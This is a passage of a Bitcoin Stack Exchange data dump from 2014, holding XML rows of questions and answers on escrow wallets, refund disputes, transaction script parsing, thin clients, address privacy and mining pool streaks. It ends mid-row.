  <row Id="32513" PostTypeId="1" AcceptedAnswerId="32514" CreationDate="2014-11-14T16:12:37.840" Score="2" ViewCount="106" Body="&lt;p&gt;Imagine a scenario. There are 3 parties: Party A, Party B and a mediator party C. A and B transfer each 1 BTC to a newly created wallet W owned by C. The function of C is to distribute the entire 2 BTC to either A or B depending on some condition (think a bet). Now imagine C gets compromised and it's private key is stolen by a hacker. The hacker can now send 2 BTC to any address he wants. Is it possible to limit wallet W to sending funds to only A or B? So that even if it's compromised, the hacker can only send funds to A or B and not any arbitrary address.&lt;/p&gt;&#xA;" OwnerUserId="21093" LastActivityDate="2014-11-14T18:31:26.477" Title="Limit wallet to sending funds to a list of addresses" Tags="|wallet|multi-signature|escrow|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32514" PostTypeId="2" ParentId="32513" CreationDate="2014-11-14T16:27:01.407" Score="1" Body="&lt;p&gt;Absolutely.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The mediator, C, creates an address.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After the bet payment(s) have been made, C creates two transactions. One pays to A, and the other pays to B. He &lt;em&gt;keeps both of these transactions secret.&lt;/em&gt; Then, he destroys the private key for the address.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Depending on who wins, the mediator publishes one of the transactions.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;An attacker can't send the Bitcoins to himself, but he can choose who wins the bet, or destroy both transactions.&lt;/p&gt;&#xA;&lt;h3&gt;Downsides&lt;/h3&gt;&#xA;&lt;p&gt;If additional payments are made to C's address after he destroys its private key, those Bitcoins are lost. This could be mitigated by having the address be a 1-of-2 multisignature account, where one of the keys is an offline key held by the operator of the service.&lt;/p&gt;&#xA;&lt;p&gt;The service is vulnerable between the time that it publishes the address and the time it creates and signs the transactions. You can't create the transactions in step two before you see the incoming transactions, either, because they will depend on the txid you're trying to spend.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-11-14T18:31:26.477" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32516" PostTypeId="2" ParentId="32489" CreationDate="2014-11-14T20:33:02.900" Score="1" Body="&lt;p&gt;I think you would find it useful to know that PayPal honours the original exchange rate at the time of purchase (&lt;a href=&quot;https://www.paypal.com/uk/webapps/helpcenter/helphub/article/?solutionId=FAQ1835&amp;amp;topicID=RESTORING_ACCOUNT_BALANCE_HELPHUB&amp;amp;m=TCI&quot; rel=&quot;nofollow&quot;&gt;see here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the behaviour I would expect if not otherwise stated in the Terms and Conditions of the vendor. You attempted to make an exchange of your Bitcoins in return for an item, the item was never received therefore the Bitcoins should be returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The price was in Bitcoins, because you paid in Bitcoins therefore the company took Bitcoins off you and not the equivalent in another currency. Whether the company sets the value of Bitcoins based against their exchange rate with another currency is entirely irrelevant, you did not pay using that currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quite simply no exchange ever occurred here, you paid in Bitcoins, you will recieve Bitcoins back, I don't see how the vendor has any right to adjust the number of Bitcoins it will return because the market is favourable to do so. You swapped those Bitcoins for an item, not $75, you didn't receive the item. Simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There seems to be some misunderstanding related to the fact that the vendor is situated in the US and that USD must be accepted (others have stated, I can't guarantee this).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the law does not state is the amount of USD required to settle a debt, all it is saying is that a dollar equivalent must be provided. The debt here is 1 bitcoin, and the dollar equivalent is clearly not $75.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please stop calling bitcoins a method of payment and not a currency. They are not a method; direct debit, standing order and bank transfer are all methods of payment, bitcoin is a currency in this regard as it is an asset that the vendor is willing to accept a quantity of in exchange for their goods. Bitcoins are the input to the method in this regard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many of you even state that bitcoin is an accepted currency by currency exchanges. Yet go on to state that it is just a method of payment later. You can call it skeumorphism by referring to your bitcoin cache as a wallet, but everywhere else we are treating this thing like a currency, if we then want to claim it isn't is it really so surprising that is as volatile as is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Volatility is caused by uncertainty, and this is a prime example of why people are uncertain about bitcoin. There's examples of extremely volatile major government backed currencies out there, I don't see how volatility is an argument against its status.&lt;/p&gt;&#xA;" OwnerUserId="13950" LastEditorUserId="13950" LastEditDate="2014-11-28T01:14:36.400" LastActivityDate="2014-11-28T01:14:36.400" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="32517" PostTypeId="1" AcceptedAnswerId="32683" CreationDate="2014-11-14T22:00:18.563" Score="12" ViewCount="740" Body="&lt;p&gt;Lets say someone started making real viable quantum computers that were affordable enough that large companies could buy one. And lets say a quantum algorithm was devised to crack the private keys of bitcoin public keys in days rather than years. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plan for that possibility? What would happen? Would there be a smooth migration to another system? Would bitcoin be able to update somehow to protect itself from such a breach?&lt;/p&gt;&#xA;" OwnerUserId="5254" LastEditorUserId="5406" LastEditDate="2020-10-19T16:59:01.457" LastActivityDate="2022-05-06T23:12:34.323" Title="Is there a fallback plan if bitcoin's underlying cryptography is cracked?" Tags="|security|cryptography|quantum-computing|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32518" PostTypeId="2" ParentId="32501" CreationDate="2014-11-14T23:45:57.423" Score="0" Body="&lt;p&gt;In a normal video game, in order to transfer an amount between two quantities, you can simply declare it in code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var amountHeldByCharacter = ??;&#xA;var amountInJar = ??;&#xA;//Change amounts&#xA;amountHeldByCharacter = amountHeldByCharacter + amountInJar;&#xA;amountInJar = amountInJar - amountInJar;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the game, however, the bitcoin will have to come from actual bitcoin addresses, so you'll have to have some function within your code,(call it PAY) that connects externally to the blockchain and transfers bitcoin from the game to a the user's address.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var gameAddress = &quot;&amp;lt;some address connected to the game&amp;gt;&quot;;&#xA;var userAddress = &quot;&amp;lt;some address provided by the user&amp;gt;&quot;;&#xA;var amountInJar = ??;&#xA;//Change amounts -- PAY(fromAddress, toAddress, amount);&#xA;PAY(gameAddress, userAddress, amountInJar);&#xA;amountInJar = amountInJar - amountInJar;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to implement the PAY function is the hard part, but that seems to answer the essence of your question.&lt;/p&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2014-11-14T23:45:57.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32520" PostTypeId="1" CreationDate="2014-11-15T00:50:25.950" Score="1" ViewCount="117" Body="&lt;p&gt;Assumed somebody knows one of my several addresses in my wallet for receiving bitcoins, can he link this address with the other addresses I got? Or does every address stand for its own?&lt;/p&gt;&#xA;" OwnerUserId="21103" LastActivityDate="2014-11-15T18:31:29.580" Title="Link Receiving address with other addresses" Tags="|address|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32522" PostTypeId="1" AcceptedAnswerId="32526" CreationDate="2014-11-15T09:10:26.733" Score="3" ViewCount="683" Body="&lt;p&gt;In data files, an input script of a transaction appears to be in this form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&lt;strong&gt;[funky byte 1]&lt;/strong&gt;[signature]&lt;strong&gt;[funky byte 2]&lt;/strong&gt;[public key]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoind displays an input script in this shape:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[signature]&lt;strong&gt;[blank space]&lt;/strong&gt;[public key]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1. In general, how should I parse an input script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2. What are the funky bytes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3. How should I interpret/recognize the funky bytes during parsing?&lt;/p&gt;&#xA;" OwnerUserId="20668" LastEditorUserId="20668" LastEditDate="2014-11-15T09:21:35.577" LastActivityDate="2014-11-15T14:34:28.663" Title="how to parse input script of a transaction in blkzzzz.dat file?" Tags="|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32523" PostTypeId="2" ParentId="32489" CreationDate="2014-11-15T09:36:28.260" Score="1" Body="&lt;p&gt;I agree with George Reith. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;I don't see how the vendor has any right to adjust the number of Bitcoins it will return because the market is favourable to do so. &quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if this was a matter of doing what is morally correct, what do you think is the right thing to ask for in return?  The $75 you paid in bitcoin, or the amount of bitcoin you paid to accommodate the $75.  As said but to reverse whats being said in this debate, and make it glaringly clear, if the amount had lowered where 1 bitcoin = $75 on day of the purchase, but then today 1 bitcoin = only $0.25   What do you think said company would do then? Do you think they would refund the sale in $75 USD?  No, I think THEY would then reverse the bitcoin transaction and not lose $74.75 since business is business which is about making money, not losing it.  With that same logic, since that's precisely what the company in question would have done, the buyer has a right demand a refund in whichever currency they choose.  Why?  Because the customer is always right, and that's also good business.  What if the name of this company got out about how they failed to follow through both without a product AND without a valid a refund.  That can potentially lose them lots more than $75 or $475.  Again, use the logic they would, and defend your position that you have the right to ask for your $0.25 back as much as you can ask for your $4,000.75.  They would have done the same to you, but you are the customer, so ask to be treated fairly as such. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I really just want to see the guy get his nice bitcoin markup the way the end user should from the frustration of the argument in the first place.  I mean the guys handle is CharlieB like Charlie Bucket for crying out loud.)&lt;/p&gt;&#xA;" OwnerUserId="21108" LastEditorUserId="21108" LastEditDate="2014-11-15T09:43:49.740" LastActivityDate="2014-11-15T09:43:49.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32524" PostTypeId="1" CreationDate="2014-11-15T12:07:18.913" Score="2" ViewCount="1098" Body="&lt;p&gt;I made &lt;a href=&quot;https://blockchain.info/tx/e5f409593cd2949033b83a97e919bf4cb9738d2174a0c06ae203102abb2c5b1d&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; transaction more than 24 hours ago, and it still has no confirmations at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do? This transaction was created by the mobile Blockchain.info wallet. At the time, it didn't warn me that transaction was problematic. However, I later noticed that one of the outputs of transaction is dust, using Blockchain.info's block explorer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions how to solve this issue? &lt;/p&gt;&#xA;" OwnerUserId="6770" LastEditorUserId="5406" LastEditDate="2023-08-28T13:56:33.330" LastActivityDate="2023-08-28T13:56:33.330" Title="Bitcoin transaction with dust output stuck" Tags="|transactions|blockchain.info|output|dust|non-standard-transaction|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32526" PostTypeId="2" ParentId="32522" CreationDate="2014-11-15T14:34:28.663" Score="2" Body="&lt;p&gt;The funky bytes, as you call them, are data-pushing op codes.  The wiki has a &lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Constants&quot; rel=&quot;nofollow&quot;&gt;complete list of op codes&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the op code before a signature is probably &lt;code&gt;OP_71&lt;/code&gt; (0x47) which pushes 71 bytes to the stack as data.  Without these data-pushing codes, there would be no way for Bitcoin to tell the difference between an arbitrary sequence of bytes (such as a signature) and op codes which need to be evaluated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parsing is simple:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The first byte is an op code.  Read it and do what it says.  If it's a data-pushing op code, read that many more bytes and push them onto the stack as data.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The next byte after that is an op code.  Read it and do what it says.  Repeat until all bytes have been processed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-11-15T14:34:28.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32527" PostTypeId="2" ParentId="32495" CreationDate="2014-11-15T14:59:26.053" Score="1" Body="&lt;p&gt;How about localbitcoins.com? &#xA;231 countries support,  can meet &#xA;people face to face from this website in country where you go and exchange your bitcoins for cash in local fiat currency. &lt;/p&gt;&#xA;" OwnerUserId="6770" LastActivityDate="2014-11-15T14:59:26.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32528" PostTypeId="1" CreationDate="2014-11-15T16:32:51.770" Score="9" ViewCount="55095" Body="&lt;p&gt;Hey guys I am a newbie at Bitcoin just recently found out about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded Bitcoin core; I encrypted the wallet; I created a backup folder, but it is out of sync by 3 years 4 weeks and i can't seem to find my Bitcoin address due to it. How do I find my Bitcoin address if it is out sync?&lt;/p&gt;&#xA;" OwnerUserId="21112" LastEditorUserId="2306" LastEditDate="2014-11-15T16:46:31.160" LastActivityDate="2017-01-03T18:06:06.330" Title="I can't find my bitcoin address and my bitcoin core is out of sync by 3 years" Tags="|wallet|address|synchronization|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32529" PostTypeId="1" AcceptedAnswerId="32533" CreationDate="2014-11-15T17:06:27.013" Score="14" ViewCount="6623" Body="&lt;p&gt;I've heard that if you don't want do download gigabytes of data just to use bitcoin you gotta use a thin client. But what is a thin client?&#xA;What are the main advantages of a thin bitcoin client and what defines it as such?&lt;/p&gt;&#xA;" OwnerUserId="21113" LastEditorUserId="21113" LastEditDate="2014-11-16T08:14:58.113" LastActivityDate="2020-12-19T14:54:13.517" Title="What is a thin client?" Tags="|thin-clients|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32530" PostTypeId="2" ParentId="32528" CreationDate="2014-11-15T18:11:07.443" Score="4" Body="&lt;p&gt;What it means by &quot;out of sync&quot; is that when you download the Satoshi (original) wallet, you download the entire &quot;Blockchain,&quot; or every transaction in Bitcoin history. This is the reason why Bitcoin is decentralized - everyone has a copy of every transaction ever. By it saying &quot;2 years&quot; it means it has 2 years left of transactions to download (all the transactions that happened in the past two years). Even though I'm not sure why your Bitcoin address isn't showing (might be intended?), it's not really a good idea to use Bitcoin until the 25GB blockchain is downloaded, but you can get a wallet that doesn't download it called &lt;a href=&quot;https://multibit.org/&quot; rel=&quot;nofollow&quot;&gt;Multibit&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="21114" LastActivityDate="2014-11-15T18:11:07.443" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32531" PostTypeId="2" ParentId="32520" CreationDate="2014-11-15T18:31:29.580" Score="1" Body="&lt;p&gt;Say you have two addresses, address A and address B. If someone sends coins to you at address A, and someone also sends coins to address B, then no one can link those addresses together. They are just separate transactions with separate transaction outputs, just like any two transactions that are sent to different people. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now, if you have to send some coins and you need to spend both of the previous transaction outputs were generated by sending to address A and address B, then you will be associating those addresses together. This is not a proven association, two different people could come together and spend two of their outputs together in the same transaction, but this is not a very likely scenario. The more likely scenario is that the person who initiated that transaction (you) owns both address A and address B. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, just because someone watching the block chain can tell that the SAME person owns address A and address B, that doesn't mean that they know that YOU are the one who owns address A and address B. Read this stack exchange for more info: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/52/how-anonymous-are-bitcoin-transactions&quot;&gt;How anonymous are Bitcoin transactions?&lt;/a&gt;. If they know that you are the owner of address A, though, then they would be able to determine that you are (likely) also the owner of address B (but only if you have made a transaction before that spends from both of those addresses). &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-11-15T18:31:29.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32532" PostTypeId="2" ParentId="32529" CreationDate="2014-11-15T19:07:08.730" Score="3" Body="&lt;p&gt;Thin client is one that won't download whole blockchain locally on your device. They are useful for those that have small capacity hard-drive or using mobile devices. &lt;/p&gt;&#xA;" OwnerUserId="83779" LastActivityDate="2014-11-15T19:07:08.730" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32533" PostTypeId="2" ParentId="32529" CreationDate="2014-11-15T19:12:23.000" Score="27" Body="&lt;p&gt;A &lt;a href=&quot;https://en.bitcoin.it/wiki/Thin_Client_Security#Header-Only_Clients&quot; rel=&quot;nofollow noreferrer&quot;&gt;thin client&lt;/a&gt; is a program which connects to the Bitcoin peer-to-peer (P2P) network but which doesn't fully validate transactions or blocks.  That is, it's a client to the full nodes on the network.&lt;/p&gt;&#xA;&lt;p&gt;Most thin clients use the Simplified Payment Validation (SPV) method to verify that confirmed transactions are part of a block.  To do this, they connect to a full node on the P2P network and send it a filter (called a Bloom filter) that will match any transactions affecting the client's wallet.  When a new block is created, the client requests a special lightweight version of that block called a Merkle block.&lt;/p&gt;&#xA;&lt;p&gt;The merkle block includes a block header, a relatively small number of hashes, a list of one-bit flags, and a transaction count.  Using this information---often less than 1 KB of data---the client can build a partial Merkle tree to the block header as illustrated below.  If the hash of the root node of the partial Merkle tree equals the hash of merkle root in the block header, the SPV client has cryptographic proof that the transaction was included in that block.  If that block then gets 6 confirmations at the current network difficulty, then the client has extremely strong proof that the transaction was valid and is accepted by the entire network.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sn8XH.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sn8XH.gif&quot; alt=&quot;Parsing a merkle block&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Image taken from MIT-licensed &lt;a href=&quot;https://web.archive.org/web/20200501013327/https://bitcoin.org/en/developer-documentation&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin.org developer documentation&lt;/a&gt;.  I'm also the author of that image.)&lt;/p&gt;&#xA;&lt;p&gt;The only major downside of the SPV method is that full nodes can simply not tell the thin clients about transactions, making it look like the client hasn't received bitcoins or that a transaction the client broadcast earlier hasn't confirmed.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="42185" LastEditDate="2020-12-19T14:54:13.517" LastActivityDate="2020-12-19T14:54:13.517" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="32534" PostTypeId="1" CreationDate="2014-11-15T21:13:49.263" Score="0" ViewCount="1267" Body="&lt;p&gt;I'm using an alt coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wallet would not sync so I deleted the &lt;code&gt;blkindex.dat&lt;/code&gt; file to restart the download. I restarted the wallet client and it downloaded all the blocks, but all my coins are gone. Using a block explorer and it says the address does not exist on the network. On the transactions, all the transaction statuses show as unconfirmed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to get my coins back? What caused this to happen?&lt;/p&gt;&#xA;" OwnerUserId="21116" LastEditorUserId="2306" LastEditDate="2014-11-15T21:31:06.620" LastActivityDate="2019-11-10T14:10:59.883" Title="How can I recover my coins?" Tags="|wallet|altcoin|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32536" PostTypeId="1" CreationDate="2014-11-16T06:20:20.987" Score="3" ViewCount="299" Body="&lt;p&gt;Check this out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jw5aI.png&quot; alt=&quot;six blocks made by single pool&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pool will not make the 51% attack of course, for they are counting money on the system;&#xA;but it's still a problem right?  &lt;/p&gt;&#xA;" OwnerUserId="20967" LastEditorUserId="2306" LastEditDate="2014-11-16T06:59:08.797" LastActivityDate="2014-11-17T16:07:27.137" Title="Is this a problem that a pool found 6 consecutive blocks?" Tags="|mining-pools|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32537" PostTypeId="2" ParentId="32536" CreationDate="2014-11-16T07:39:34.880" Score="5" Body="&lt;p&gt;It would be a statistical anomaly if this did &lt;em&gt;not&lt;/em&gt; happen from time to time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With pools having over 20% or so, they're bound to find 6+ consecutive blocks every now and then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not a problem. They can't really abuse or corrupt the system like this, especially since they can't plan for this sort of thing to happen on purpose. Even if they'd have 30%, it's still a rare phenomenon (like less than once in a thousand tries).&lt;/p&gt;&#xA;" OwnerUserId="20702" LastActivityDate="2014-11-16T07:39:34.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32538" PostTypeId="2" ParentId="23865" CreationDate="2014-11-16T07:43:35.557" Score="0" Body="&lt;p&gt;If it were possible, people would be already doing it, and by definition of how the market works, it would even out the differences.&lt;/p&gt;&#xA;" OwnerUserId="20702" LastActivityDate="2014-11-16T07:43:35.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32539" PostTypeId="2" ParentId="32524" CreationDate="2014-11-16T07:49:23.020" Score="0" Body="&lt;p&gt;Looks to me like the transaction has failed, it's probably back in your original address after timing-out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had the same problem you describe before, when including a fee of 0.0001 or even 0.00001 you shouldn't have any problems with a little bit of dust.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-11-16T07:49:23.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32540" PostTypeId="2" ParentId="32489" CreationDate="2014-11-16T08:13:27.203" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If BTC is a currency then this is an easy question. I should be refunded what I paid, in the currency in which I paid it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Really? So if the Bitcoin system collapsed and Bitcoins had no value anymore, you wouldn't be entitled to any refund at all? That can't be right.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If a bitcoin is not currency then is it unarguably an asset. Surely in this case I have given a valuable asset to the company as my end of an implied contract for them to provide the goods. Given their failure to provide the goods, they must return the asset: not a fraction of it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Really? So if you had traded, say, an apple for something, and then were due a refund a week later, they should give you the same apple? That can't be right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're entitled to a refund of equal value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a reason it must be this way -- any other rule allows people to profit from their bad acts. For example, say I buy something for Bitcoin, the price of Bitcoin goes down, and then the vendor says &quot;Sorry, can't ship that to you. We'll give you back the Bitcoins.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to profit from the appreciation in Bitcoins, you must also take the risk that you will lose if their value depreciates.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Given that bitcoin has increased in value, one of us has to profit from this. It seems very unfair to me that the company should profit from their failure, whilst at the same time preventing me from making that profit myself.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They didn't prevent you from making that profit. At the same time you sent $75 worth to them, you could also have held $75 worth yourself. All you lost was the use of $75 for the time they held the money, which is a loss traditionally borne by the consumer, even if the vendor doesn't perform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, your rule would make it basically impossible for vendors to accept payments in things like Bitcoins. They'd be vulnerable to customers returning things if the price of Bitcoin went up, and their customers would fear that the vendor might renege if the price goes down. That's no good for anyone.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2014-11-16T09:19:22.290" LastActivityDate="2014-11-16T09:19:22.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32541" PostTypeId="2" ParentId="32536" CreationDate="2014-11-16T08:48:37.220" Score="0" Body="&lt;p&gt;No, it's not a problem. Bitcoin is secure and Discus Fish is a well known pool. From time to time, maths tells us that this should happen. It is rare but with 21 million bitcoin to find it must happen at least once! It would be impossible to hack the system like this as there was nothing to hack before; the bitcoins didn't exist!&lt;/p&gt;&#xA;" OwnerUserId="21126" LastEditorUserId="21126" LastEditDate="2014-11-17T16:07:27.137" LastActivityDate="2014-11-17T16:07:27.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32542" PostTypeId="2" ParentId="32524" CreationDate="2014-11-16T09:10:13.440" Score="0" Body="&lt;p&gt;Problem is solved itself. Transaction has been canceled in the network and btc became available in the wallet. &lt;/p&gt;&#xA;" OwnerUserId="6770" LastActivityDate="2014-11-16T09:10:13.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32543" PostTypeId="1" CreationDate="2014-11-16T10:47:26.593" Score="2" ViewCount="842" Body="&lt;p&gt;I want to sell 1 LTC via BTC-e. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does selling LTC for USD takes place at BTC-e? Most probably I'll firstly deposit 1 LTC in the BTC-e wallet and then go to LTC/USD and then enter 1 LTC under the 'Sell LTC' section and click on 'Sell LTC.' What happens after that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know because I don't want to waste any bit of my hard earned Litecoins!&lt;/p&gt;&#xA;" OwnerUserId="21128" LastEditorUserId="2306" LastEditDate="2014-11-16T16:03:43.727" LastActivityDate="2017-06-08T09:53:50.310" Title="How do I trade at BTC-e?" Tags="|litecoin|btce|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32544" PostTypeId="1" AcceptedAnswerId="32556" CreationDate="2014-11-16T11:28:06.747" Score="9" ViewCount="2551" Body="&lt;p&gt;I understood from &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/31983/what-is-it-about-a-trezor-that-means-it-cant-be-infected-by-malware&quot;&gt;What is it about a Trezor that means it can't be infected by malware?&lt;/a&gt; that a Trezor would only interpret data as transaction details, but the Trezor also &lt;a href=&quot;http://satoshilabs.com/news/2014-08-01-trezor-firmware-1-2-1-released/&quot; rel=&quot;nofollow noreferrer&quot;&gt;updates firmwar&lt;/a&gt;e.  How is it that an attacker can't hack the firmware update to somehow install malware? &lt;/p&gt;&#xA;" OwnerUserId="14402" LastEditorUserId="5406" LastEditDate="2017-07-01T14:09:35.290" LastActivityDate="2017-07-01T14:09:35.290" Title="How can Trezor update firmware but never receive malware?" Tags="|wallet-security|trezor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32545" PostTypeId="1" AcceptedAnswerId="32570" CreationDate="2014-11-16T11:28:59.893" Score="1" ViewCount="265" Body="&lt;p&gt;Parsing an input script of a transaction, I’ve come across two public keys in the script. Either public key is 33 byte long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to transform a single 33 byte long public into an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the mechanism of obtaining an address from two or more public keys?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note I’m not interested in the bitcoind technique via the createmultisig command.&lt;/p&gt;&#xA;" OwnerUserId="20668" LastActivityDate="2014-11-18T12:21:46.423" Title="how to get one address from two public keys?" Tags="|blockchain|script|multi-signature|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32546" PostTypeId="2" ParentId="25814" CreationDate="2014-11-16T13:02:30.723" Score="5" Body="&lt;p&gt;Calculating the Z values is quite complicated for the average Joe, so i've made a website to do it for you.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;The Z values for the above example can be found on this page.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://2xoin.com/tx/9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2xoin.com/tx/9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've also separated the R and S values to make it easier for you.&lt;/p&gt;&#xA;&lt;p&gt;You can find the R, S, and Z values for all bitcoin transactions on this site.&lt;/p&gt;&#xA;&lt;p&gt;Other examples,&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://2xoin.com/tx/9312ccafb8aa624afe7fb7b4201a0ccc2a14ca2b8b8a3253093b975a6a85a280&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2xoin.com/tx/9312ccafb8aa624afe7fb7b4201a0ccc2a14ca2b8b8a3253093b975a6a85a280&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a 